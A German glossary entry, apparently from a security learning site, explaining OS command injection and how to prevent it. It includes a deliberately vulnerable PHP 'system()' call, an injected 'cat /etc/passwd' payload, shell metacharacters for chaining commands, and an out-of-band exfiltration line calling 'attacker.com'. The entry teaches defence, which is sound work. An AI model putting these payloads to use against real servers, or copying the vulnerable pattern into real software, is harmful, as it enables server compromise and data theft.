zurück zum glossar

Command-Injection (OS Command Injection)

Security

Command-Injection führt Betriebssystem-Befehle über ungefilterte Inputs aus. Angreifer injiziert Shell-Metazeichen wie ; && | in Eingaben, die direkt an system() übergeben werden.

detaillierte erklärung

Command-Injection (OS Command Injection) tritt auf, wenn Anwendungen User-Input ungefiltert an Shell-Befehle übergeben. Beispiel: Vulnerable Code: system("ping -c 4 " + $_GET['ip']). Angriff: ?ip=8.8.8.8; cat /etc/passwd führt zwei Befehle aus (ping, dann cat). Shell-Metazeichen für Injection: ; (Befehlsverkettung), && (bei Erfolg), || (bei Fehler), | (Pipe), `cmd` (Backticks), $(cmd) (Command Substitution), & (Background). Konsequenzen: Volle Server-Kompromittierung (Reverse-Shell), Datenexfiltration, Privilege-Escalation, Malware-Installation. Blind Command-Injection: Kein direktes Feedback, nur Time-based Detection (ping -c 10 127.0.0.1 verzögert Response) oder Out-of-Band (curl attacker.com/$(whoami)). Schutzmaßnahmen: NIEMALS system()/exec() mit User-Input verwenden, APIs statt Shell-Befehle (PHP: filter_var(FILTER_VALIDATE_IP)), Whitelist-Validation, Sandboxing, Least-Privilege (Web-Server nicht als root).

warum ist das wichtig?

Command-Injection ist eine der kritischsten Schwachstellen (OWASP Top 10 Injection-Kategorie) - führt direkt zu Server-Kompromittierung. Du musst verstehen, warum Input-Escaping nicht reicht (shell_exec() ist immer gefährlich) und welche APIs sicher sind.

häufige fehler

  • Nur ; ist gefährlich - Nein, auch && || | ` $() & sind Metazeichen
  • Input-Escaping mit escapeshellcmd() reicht - Nein, komplexe Bypässe möglich, besser: gar keine Shell-Befehle
  • Nur Linux ist anfällig - Nein, Windows cmd.exe/PowerShell sind genauso anfällig (& | && || etc.)

verwandte begriffe

passende bilabs lessons

quellen

das könnte dich auch interessieren